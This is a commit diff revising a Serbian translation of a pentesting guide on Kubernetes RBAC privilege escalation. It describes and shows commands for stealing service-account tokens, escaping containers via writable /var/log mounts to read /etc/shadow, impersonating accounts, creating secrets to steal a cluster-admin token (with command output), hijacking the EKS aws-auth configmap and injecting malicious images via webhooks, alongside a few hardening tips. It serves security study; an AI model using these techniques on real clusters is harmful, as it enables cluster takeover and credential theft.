Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus

This commit is contained in:
Translator
2025-01-22 12:06:32 +00:00
parent b5cbc42f8d
commit 1f0099ad3d

View File

@@ -9,11 +9,11 @@ Zapamtite da možete dobiti sve podržane resurse sa `kubectl api-resources`
Odnosi se na veštinu dobijanja **pristupa različitom principalu** unutar klastera **sa različitim privilegijama** (unutar kubernetes klastera ili prema spoljnim cloud-ovima) od onih koje već imate, u Kubernetes-u postoje osnovno **4 glavne tehnike za povećanje privilegija**:
- Mogućnost da **imituje** druge korisnike/grupe/SAs sa boljim privilegijama unutar kubernetes klastera ili prema spoljnim cloud-ovima
- Mogućnost da **kreira/patch-uje/izvršava podove** gde možete **pronaći ili povezati SAs** sa boljim privilegijama unutar kubernetes klastera ili prema spoljnim cloud-ovima
- Mogućnost da **čita tajne** jer su SAs tokeni pohranjeni kao tajne
- Mogućnost da **pobegne na čvor** iz kontejnera, gde možete ukrasti sve tajne kontejnera koji se izvršavaju na čvoru, kredencijale čvora i dozvole čvora unutar clouda u kojem se izvršava (ako ih ima)
- Peta tehnika koja zaslužuje pominjanje je sposobnost da **izvrši port-forward** u podu, jer možda možete pristupiti zanimljivim resursima unutar tog poda.
- Možete **imitirati** druge korisnike/grupe/SAs sa boljim privilegijama unutar kubernetes klastera ili prema spoljnim cloud-ovima
- Možete **kreirati/patch/exec pods** gde možete **pronaći ili povezati SAs** sa boljim privilegijama unutar kubernetes klastera ili prema spoljnim cloud-ovima
- Možete **čitati tajne** jer su SAs tokeni pohranjeni kao tajne
- Možete **pobeći na čvor** iz kontejnera, gde možete ukrasti sve tajne kontejnera koji se izvršavaju na čvoru, kredencijale čvora i dozvole čvora unutar clouda u kojem se izvršava (ako ih ima)
- Peta tehnika koja zaslužuje pominjanje je sposobnost da **pokrenete port-forward** u podu, jer možda možete pristupiti zanimljivim resursima unutar tog poda.
### Pristup bilo kojem resursu ili glagolu (Wildcard)
@@ -29,11 +29,11 @@ rules:
resources: ["*"]
verbs: ["*"]
```
### Pristup bilo kojem resursu sa specifičnom glagolom
### Pristup bilo kojem resursu sa specifičnom radnjom
U RBAC-u, određene dozvole predstavljaju značajne rizike:
1. **`create`:** Daje mogućnost kreiranja bilo kog klasterskog resursa, što može dovesti do eskalacije privilegija.
1. **`create`:** Daje mogućnost kreiranja bilo kojeg klasterskog resursa, što može dovesti do eskalacije privilegija.
2. **`list`:** Omogućava listanje svih resursa, potencijalno otkrivajući osetljive podatke.
3. **`get`:** Dozvoljava pristup tajnama iz servisnih naloga, što predstavlja bezbednosnu pretnju.
```yaml
@@ -49,9 +49,9 @@ verbs: ["create", "list", "get"]
```
### Pod Create - Steal Token
Napadač sa dozvolama za kreiranje poda može da prikači privilegovani Service Account u pod i ukrade token kako bi se pretvarao da je Service Account. Efektivno povećavajući privilegije.
Napadač sa dozvolama za kreiranje poda može prikačiti privilegovani servisni nalog u pod i ukrasti token kako bi se pretvarao da je taj servisni nalog. Efektivno povećavajući privilegije.
Primer poda koji će ukrasti token `bootstrap-signer` service account-a i poslati ga napadaču:
Primer poda koji će ukrasti token servisnog naloga `bootstrap-signer` i poslati ga napadaču:
```yaml
apiVersion: v1
kind: Pod
@@ -140,7 +140,7 @@ _Možete pronaći primer kako da kreirate/iskoristite prethodne privilegovane po
### Pod Create - Move to cloud
Ako možete da **kreirate** **pod** (i opcionalno **service account**) možda ćete moći da **dobijete privilegije u cloud okruženju** dodeljujući **cloud roles** podu ili **service account** i zatim mu pristupite.\
Ako možete da **kreirate** **pod** (i opcionalno **service account**) možda ćete moći da **dobijete privilegije u cloud okruženju** dodeljujući **cloud role podu ili service account-u** i zatim mu pristupiti.\
Štaviše, ako možete da kreirate **pod sa host network namespace** možete **ukrasti IAM** ulogu **node** instance.
Za više informacija proverite:
@@ -153,7 +153,7 @@ pod-escape-privileges.md
Moguće je iskoristiti ove dozvole da **kreirate novi pod** i uspostavite privilegije kao u prethodnom primeru.
Sledeći yaml **kreira daemonset i exfiltrira token SA** unutar poda:
Sledeći yaml **kreira daemonset i eksfiltrira token SA** unutar poda:
```yaml
apiVersion: apps/v1
kind: DaemonSet
@@ -199,19 +199,19 @@ kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
```
### port-forward
Ova dozvola omogućava **prosleđivanje jednog lokalnog porta na jedan port u specificiranom podu**. Ovo je namenjeno da se olakša debagovanje aplikacija koje rade unutar poda, ali napadač bi to mogao zloupotrebiti da dobije pristup zanimljivim (kao što su DB-ovi) ili ranjivim aplikacijama (web?) unutar poda:
Ova dozvola omogućava da se **preusmeri jedan lokalni port na jedan port u specificiranom podu**. Ovo je namenjeno da se olakša debagovanje aplikacija koje rade unutar poda, ali napadač bi to mogao zloupotrebiti da dobije pristup zanimljivim (kao što su DB-ovi) ili ranjivim aplikacijama (web?) unutar poda:
```
kubectl port-forward pod/mypod 5000:5000
```
### Hosts Writable /var/log/ Escape
Kao [**što je naznačeno u ovom istraživanju**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), ako možete pristupiti ili kreirati pod sa **montiranim direktorijumom `/var/log/`** na njemu, možete **pobeći iz kontejnera**.\
To je osnovno zato što kada **Kube-API pokušava da dobije logove** kontejnera (koristeći `kubectl logs <pod>`), **zahteva `0.log`** datoteku pod-a koristeći `/logs/` endpoint **Kubelet** servisa.\
Kubelet servis izlaže `/logs/` endpoint koji jednostavno **izlaže `/var/log` datotečni sistem kontejnera**.
To je u suštini zato što kada **Kube-API pokušava da dobije logove** kontejnera (koristeći `kubectl logs <pod>`), **zahteva `0.log`** datoteku pod-a koristeći `/logs/` endpoint **Kubelet** servisa.\
Kubelet servis izlaže `/logs/` endpoint koji u suštini **izlaže `/var/log` datotečni sistem kontejnera**.
Stoga, napadač sa **pristupom za pisanje u /var/log/ folder** kontejnera može zloupotrebiti ovo ponašanje na 2 načina:
Stoga, napadač sa **pristupom za pisanje u /var/log/ folder** kontejnera mogao bi da zloupotrebi ovo ponašanje na 2 načina:
- Modifikovanjem `0.log` datoteke svog kontejnera (obično se nalazi u `/var/logs/pods/namespace_pod_uid/container/0.log`) da bude **simbolička veza koja pokazuje na `/etc/shadow`** na primer. Tada ćete moći da eksfiltrirate hosts shadow datoteku radeći:
- Modifikovanjem `0.log` datoteke svog kontejnera (obično se nalazi u `/var/logs/pods/namespace_pod_uid/container/0.log`) da bude **simbolička veza koja pokazuje na `/etc/shadow`** na primer. Tada ćete moći da exfiltrirate hosts shadow datoteku koristeći:
```bash
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
@@ -231,7 +231,7 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
<a href="lib">lib</a>
[...]
```
**Laboratorija i automatski exploit mogu se naći na** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
**Laboratorija i automatizovani exploit mogu se naći na** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
#### Obilaženje readOnly zaštite <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
@@ -239,15 +239,15 @@ Ako imate sreće i visoko privilegisana sposobnost `CAP_SYS_ADMIN` je dostupna,
```bash
mount -o rw,remount /hostlogs/
```
#### Obilaženje hostPath readOnly zaštite <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
#### Bypassing hostPath readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
Kao što je navedeno u [**ovoj studiji**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), moguće je obilaženje zaštite:
Kao što je navedeno u [**ovoj studiji**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), moguće je zaobići zaštitu:
```yaml
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
```
Koji je bio zamišljen da spreči eskape poput prethodnih, tako što će umesto korišćenja hostPath montaže, koristiti PersistentVolume i PersistentVolumeClaim za montiranje foldera domaćina u kontejner sa pristupom za pisanje:
Koji je bio zamišljen da spreči eskape poput prethodnih, tako što umesto korišćenja hostPath montaže, koristi PersistentVolume i PersistentVolumeClaim za montiranje foldera domaćina u kontejner sa pristupom za pisanje:
```yaml
apiVersion: v1
kind: PersistentVolume
@@ -293,9 +293,9 @@ volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
```
### **Imitacija privilegovanih naloga**
### **Imitiranje privilegovanih naloga**
Sa [**privilegijom imitacije korisnika**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), napadač može imitirati privilegovan nalog.
Sa [**privilegijom imitacije korisnika**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), napadač može imitirati privilegovani nalog.
Jednostavno koristite parametar `--as=<username>` u `kubectl` komandi da biste imitirali korisnika, ili `--as-group=<group>` da biste imitirali grupu:
```bash
@@ -312,21 +312,84 @@ https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Listing Secrets
Dozvola za **listanje tajni može omogućiti napadaču da zapravo pročita tajne** pristupajući REST API kraju:
Dozvola da **prikazuje tajne može omogućiti napadaču da zapravo pročita tajne** pristupajući REST API kraju:
```bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Kreiranje i Čitanje Tajni
Postoji posebna vrsta Kubernetes tajne tipa **kubernetes.io/service-account-token** koja čuva tokene servisnog naloga. Ako imate dozvole za kreiranje i čitanje tajni, i takođe znate ime servisnog naloga, možete kreirati tajnu na sledeći način i zatim ukrasti token servisnog naloga žrtve iz nje:
```yaml
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
```
Primer iskorišćavanja:
```bash
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get create]
[/.well-known/openid-configuration/] [] [get]
<SNIP>
[/version] [] [get]
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}
```
Napomena da, ako vam je dozvoljeno da kreirate i čitate tajne u određenom namespace-u, žrtvinska serviceaccount takođe mora biti u tom istom namespace-u.
### Čitanje tajne brute-forcing token ID-ova
Dok napadač u posedu tokena sa dozvolama za čitanje zahteva tačno ime tajne da bi je koristio, za razliku od šire _**listing secrets**_ privilegije, i dalje postoje ranjivosti. Podrazumevani servisni nalozi u sistemu mogu se enumerisati, svaki povezan sa tajnom. Ove tajne imaju strukturu imena: statički prefiks praćen nasumičnim alfanumeričkim tokenom od pet karaktera (izuzimajući određene karaktere) prema [izvornom kodu](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
Dok napadač u posedu tokena sa pravima čitanja zahteva tačno ime tajne da bi je koristio, za razliku od šireg _**listing secrets**_ privilegija, i dalje postoje ranjivosti. Podrazumevane service accounts u sistemu mogu se enumerisati, svaka povezana sa tajnom. Ove tajne imaju strukturu imena: statički prefiks praćen nasumičnim peto-znakovnim alfanumeričkim tokenom (izuzimajući određene karaktere) prema [izvornom kodu](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
Token se generiše iz ograničenog skupa od 27 karaktera (`bcdfghjklmnpqrstvwxz2456789`), umesto iz celog alfanumeričkog opsega. Ova ograničenja smanjuju ukupan broj mogućih kombinacija na 14,348,907 (27^5). Kao rezultat, napadač bi mogao izvesti brute-force napad da bi dedukovao token u roku od nekoliko sati, što bi potencijalno dovelo do eskalacije privilegija pristupom osetljivim servisnim nalozima.
Token se generiše iz ograničenog skupa od 27 karaktera (`bcdfghjklmnpqrstvwxz2456789`), umesto iz punog alfanumeričkog opsega. Ova ograničenja smanjuju ukupan broj mogućih kombinacija na 14,348,907 (27^5). Kao rezultat, napadač bi mogao izvesti brute-force napad da bi dedukovao token u roku od nekoliko sati, što bi potencijalno dovelo do eskalacije privilegija pristupom osetljivim service accounts.
### Zahtevi za potpisivanje sertifikata
Ako imate glagole **`create`** u resursu `certificatesigningrequests` (ili barem u `certificatesigningrequests/nodeClient`). Možete **napraviti** novi CeSR za **novi čvor.**
Ako imate glagole **`create`** u resursu `certificatesigningrequests` (ili barem u `certificatesigningrequests/nodeClient`). Možete **kreirati** novi CeSR za **novi čvor.**
Prema [dokumentaciji, moguće je automatski odobriti ove zahteve](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), tako da u tom slučaju **ne trebaju vam dodatne dozvole**. Ako ne, morali biste biti u mogućnosti da odobrite zahtev, što znači ažuriranje u `certificatesigningrequests/approval` i `approve` u `signers` sa resourceName `<signerNameDomain>/<signerNamePath>` ili `<signerNameDomain>/*`
Prema [dokumentaciji, moguće je automatski odobriti ove zahteve](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), tako da u tom slučaju **ne trebate dodatne dozvole**. Ako ne, morali biste biti u mogućnosti da odobrite zahtev, što znači ažuriranje u `certificatesigningrequests/approval` i `approve` u `signers` sa resourceName `<signerNameDomain>/<signerNamePath>` ili `<signerNameDomain>/*`
**Primer uloge** sa svim potrebnim dozvolama je:
```yaml
@@ -370,7 +433,7 @@ Način da se to zaobiđe je jednostavno **napraviti kredencijale nod-a za ime no
```
### AWS EKS aws-auth configmaps
Principali koji mogu da modifikuju **`configmaps`** u kube-system imenu prostoru na EKS (moraju biti u AWS) klasterima mogu dobiti privilegije klaster admina prepisivanjem **aws-auth** configmap-a.\
Principali koji mogu da modifikuju **`configmaps`** u kube-system imenskom prostoru na EKS (moraju biti u AWS) klasterima mogu dobiti privilegije klaster admina prepisivanjem **aws-auth** configmap-a.\
Potrebni glagoli su **`update`** i **`patch`**, ili **`create`** ako configmap nije kreiran:
```bash
# Check if config map exists
@@ -411,18 +474,18 @@ groups:
- system:masters
```
> [!WARNING]
> Možete koristiti **`aws-auth`** za **persistence** davanje pristupa korisnicima iz **drugih naloga**.
> Možete koristiti **`aws-auth`** za **persistence** dajući pristup korisnicima iz **drugih naloga**.
>
> Međutim, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **ne radi iz drugog naloga**. Ali zapravo `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` radi ako stavite ARN klastera umesto samo imena.\
> Da biste omogućili `kubectl`, samo se pobrinite da **konfigurišete** **kubeconfig žrtve** i u aws exec args dodajte `--profile other_account_role` tako da kubectl koristi profil drugog naloga za dobijanje tokena i kontaktiranje AWS-a.
> Međutim, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **ne funkcioniše iz drugog naloga**. Ali zapravo `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funkcioniše ako stavite ARN klastera umesto samo imena.\
> Da bi `kubectl` radio, samo se pobrinite da **konfigurišete** **kubeconfig žrtve** i u aws exec argumentima dodajte `--profile other_account_role` tako da kubectl koristi profil drugog naloga za dobijanje tokena i kontaktiranje AWS-a.
### Eskalacija u GKE
Postoje **2 načina da se dodele K8s dozvole GCP principima**. U svakom slučaju, princip takođe treba dozvolu **`container.clusters.get`** da bi mogao da prikupi akreditive za pristup klasteru, ili ćete morati da **generišete svoj vlastiti kubectl config fajl** (pratite sledeći link).
Postoje **2 načina da se dodele K8s dozvole GCP principima**. U svakom slučaju, princip takođe treba dozvolu **`container.clusters.get`** da bi mogao da prikupi kredencijale za pristup klasteru, ili ćete morati da **generišete svoj vlastiti kubectl config fajl** (pratite sledeći link).
> [!WARNING]
> Kada komunicirate sa K8s api krajnjom tačkom, **GCP auth token će biti poslat**. Tada će GCP, preko K8s api krajnje tačke, prvo **proveriti da li princip** (prema emailu) **ima bilo kakav pristup unutar klastera**, zatim će proveriti da li ima **bilo kakav pristup putem GCP IAM**.\
> Ako je **bilo koja** od ovih **tačna**, biće mu **odgovoreno**. Ako **nije**, biće data **greška** koja sugeriše da se **dozvole daju putem GCP IAM**.
> Kada komunicirate sa K8s API krajnjom tačkom, **GCP auth token će biti poslat**. Tada će GCP, preko K8s API krajnje tačke, prvo **proveriti da li princip** (prema emailu) **ima bilo kakav pristup unutar klastera**, zatim će proveriti da li ima **bilo kakav pristup putem GCP IAM**.\
> Ako je **bilo koja** od tih stvari **tačna**, biće mu **odgovoreno**. Ako **nije**, biće data **greška** koja sugeriše da se **dozvole dodele putem GCP IAM**.
Prvi metod je korišćenje **GCP IAM**, K8s dozvole imaju svoje **ekvivalentne GCP IAM dozvole**, i ako princip to ima, moći će da ga koristi.
@@ -434,7 +497,7 @@ Drugi metod je **dodeljivanje K8s dozvola unutar klastera** identifikovanjem kor
### Kreiranje tokena za servisne naloge
Principi koji mogu **kreirati TokenRequests** (`serviceaccounts/token`) kada komuniciraju sa K8s api krajnjom tačkom SAs (informacije iz [**ovde**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
Principi koji mogu **kreirati TokenRequests** (`serviceaccounts/token`) kada komuniciraju sa K8s API krajnjom tačkom SAs (informacije iz [**ovde**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
### ephemeralcontainers
@@ -442,16 +505,16 @@ Principi koji mogu **`update`** ili **`patch`** **`pods/ephemeralcontainers`** m
### ValidatingWebhookConfigurations ili MutatingWebhookConfigurations
Principi sa bilo kojim od glagola `create`, `update` ili `patch` nad `validatingwebhookconfigurations` ili `mutatingwebhookconfigurations` mogli bi biti u mogućnosti da **kreiraju jednu od takvih webhookconfigurations** kako bi mogli da **eskaliraju privilegije**.
Principi sa bilo kojim od glagola `create`, `update` ili `patch` nad `validatingwebhookconfigurations` ili `mutatingwebhookconfigurations` mogli bi biti u mogućnosti da **kreiraju jednu od takvih webhook konfiguracija** kako bi mogli da **eskaliraju privilegije**.
Za [`mutatingwebhookconfigurations` primer proverite ovu sekciju ovog posta](./#malicious-admission-controller).
Za [`mutatingwebhookconfigurations` primer proverite ovu sekciju ovog posta](#malicious-admission-controller).
### Eskaliraj
### Eskalacija
Kao što možete pročitati u sledećoj sekciji: [**Ugrađena prevencija eskalacije privilegija**](./#built-in-privileged-escalation-prevention), princip ne može da ažurira niti kreira uloge ili clusterrole bez da sam ima te nove dozvole. Osim ako ima **glagol `escalate`** nad **`roles`** ili **`clusterroles`**.\
Kao što možete pročitati u sledećoj sekciji: [**Ugrađena prevencija privilegovane eskalacije**](#built-in-privileged-escalation-prevention), princip ne može da ažurira niti kreira uloge ili clusterrole bez da sam ima te nove dozvole. Osim ako ima **glagol `escalate`** nad **`roles`** ili **`clusterroles`**.\
Tada može ažurirati/kreati nove uloge, clusterrole sa boljim dozvolama od onih koje ima.
### Proxy čvorova
### Nodes proxy
Principi sa pristupom do **`nodes/proxy`** podresursa mogu **izvršavati kod na podovima** putem Kubelet API (prema [**ovome**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Više informacija o Kubelet autentifikaciji na ovoj stranici:
@@ -459,11 +522,11 @@ Principi sa pristupom do **`nodes/proxy`** podresursa mogu **izvršavati kod na
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
{{#endref}}
Imate primer kako dobiti [**RCE razgovarajući autorizovano sa Kubelet API ovde**](../pentesting-kubernetes-services/#kubelet-rce).
Imate primer kako dobiti [**RCE razgovarajući autorizovano sa Kubelet API ovde**](../pentesting-kubernetes-services/index.html#kubelet-rce).
### Brisanje podova + neschedulabilni čvorovi
Principi koji mogu **brisati podove** (`delete` glagol nad `pods` resursom), ili **izbacivati podove** (`create` glagol nad `pods/eviction` resursom), ili **menjati status podova** (pristup `pods/status`) i mogu **učiniti druge čvorove neschedulabilnim** (pristup `nodes/status`) ili **brisati čvorove** (`delete` glagol nad `nodes` resursom) i imaju kontrolu nad podom, mogli bi **ukrasti podove sa drugih čvorova** tako da se **izvršavaju** na **kompromitovanom** **čvoru** i napadač može **ukrasti tokene** iz tih podova.
Principi koji mogu **brisati podove** (`delete` glagol nad `pods` resursom), ili **izbacivati podove** (`create` glagol nad `pods/eviction` resursom), ili **menjati status podova** (pristup `pods/status`) i mogu **učiniti druge čvorove neschedulabilnim** (pristup `nodes/status`) ili **brisati čvorove** (`delete` glagol nad `nodes` resursom) i imaju kontrolu nad podom, mogli bi **ukrasti podove sa drugih čvorova** tako da se **izvršavaju** u **kompromitovanom** **čvoru** i napadač može **ukrasti tokene** iz tih podova.
```bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
@@ -480,25 +543,25 @@ Principali koji mogu **modifikovati** **`services/status`** mogu postaviti polje
### Status čvorova i podova
Principali sa **`update`** ili **`patch`** dozvolama nad `nodes/status` ili `pods/status`, mogli bi modifikovati oznake kako bi uticali na ograničenja raspoređivanja.
Principali sa **`update`** ili **`patch`** dozvolama nad `nodes/status` ili `pods/status`, mogli bi modifikovati oznake kako bi uticali na primenjene ograničenja raspoređivanja.
## Ugrađena prevencija eskalacije privilegija
Kubernetes ima [ugrađeni mehanizam](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) za sprečavanje eskalacije privilegija.
Ovaj sistem osigurava da **korisnici ne mogu povećati svoje privilegije modifikovanjem uloga ili veza uloga**. Sprovođenje ovog pravila se dešava na API nivou, pružajući zaštitu čak i kada je RBAC autorizer neaktivan.
Ovaj sistem osigurava da **korisnici ne mogu povećati svoje privilegije modifikovanjem uloga ili veza uloga**. Sprovođenje ovog pravila se dešava na API nivou, pružajući zaštitu čak i kada je RBAC autorizator neaktivan.
Pravilo nalaže da **korisnik može kreirati ili ažurirati ulogu samo ako poseduje sve dozvole koje uloga obuhvata**. Štaviše, opseg postojećih dozvola korisnika mora se poklapati sa onim uloge koju pokušava da kreira ili modifikuje: ili na nivou klastera za ClusterRoles ili ograničeno na istu namespace (ili na nivou klastera) za Roles.
> [!WARNING]
> Postoji izuzetak od prethodnog pravila. Ako neki principal ima **glagol `escalate`** nad **`roles`** ili **`clusterroles`**, može povećati privilegije uloga i clusterroles čak i bez da sam ima te dozvole.
> Postoji izuzetak od prethodnog pravila. Ako neki principal ima **glagol `escalate`** nad **`roles`** ili **`clusterroles`**, može povećati privilegije uloga i clusterroles čak i bez poseda tih dozvola.
### **Preuzmi i Patch RoleBindings/ClusterRoleBindings**
### **Dobijanje i patch RoleBindings/ClusterRoleBindings**
> [!CAUTION]
> **Očigledno je da je ova tehnika ranije radila, ali prema mojim testovima više ne funkcioniše iz istog razloga objašnjenog u prethodnom odeljku. Ne možete kreirati/modifikovati rolebinding da biste sebi ili drugom SA dali neke privilegije ako ih već nemate.**
Privilegija za kreiranje Rolebindings omogućava korisniku da **veže uloge za servisni nalog**. Ova privilegija može potencijalno dovesti do eskalacije privilegija jer **omogućava korisniku da veže administratorske privilegije za kompromitovani servisni nalog.**
Privilegija za kreiranje Rolebindings omogućava korisniku da **veže uloge za servisni nalog**. Ova privilegija može potencijalno dovesti do eskalacije privilegija jer **omogućava korisniku da veže admin privilegije za kompromitovani servisni nalog.**
## Drugi napadi
@@ -594,7 +657,7 @@ Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
```
Gore navedeni isječak zamenjuje prvu sliku kontejnera u svakom podu sa `rewanthtammana/malicious-image`.
Gore navedeni deo zamenjuje prvu sliku kontejnera u svakom podu sa `rewanthtammana/malicious-image`.
## OPA Gatekeeper zaobilaženje
@@ -606,12 +669,12 @@ Gore navedeni isječak zamenjuje prvu sliku kontejnera u svakom podu sa `rewanth
### **Onemogućavanje automount-a tokena servisnog naloga**
- **Podi i servisni nalozi**: Po defaultu, podovi montiraju token servisnog naloga. Da bi se poboljšala sigurnost, Kubernetes omogućava onemogućavanje ove automount funkcije.
- **Podovi i servisni nalozi**: Podovi po defaultu montiraju token servisnog naloga. Da bi se poboljšala sigurnost, Kubernetes omogućava onemogućavanje ove automount funkcije.
- **Kako primeniti**: Postavite `automountServiceAccountToken: false` u konfiguraciji servisnih naloga ili podova počevši od Kubernetes verzije 1.6.
### **Restriktivno dodeljivanje korisnika u RoleBindings/ClusterRoleBindings**
- **Selektivno uključivanje**: Osigurajte da su samo neophodni korisnici uključeni u RoleBindings ili ClusterRoleBindings. Redovno vršite reviziju i uklanjajte irelevantne korisnike kako biste održali strogu sigurnost.
- **Selektivno uključivanje**: Osigurajte da su u RoleBindings ili ClusterRoleBindings uključeni samo neophodni korisnici. Redovno vršite reviziju i uklanjajte irelevantne korisnike kako biste održali visoku sigurnost.
### **Uloge specifične za namespace umesto uloga na nivou klastera**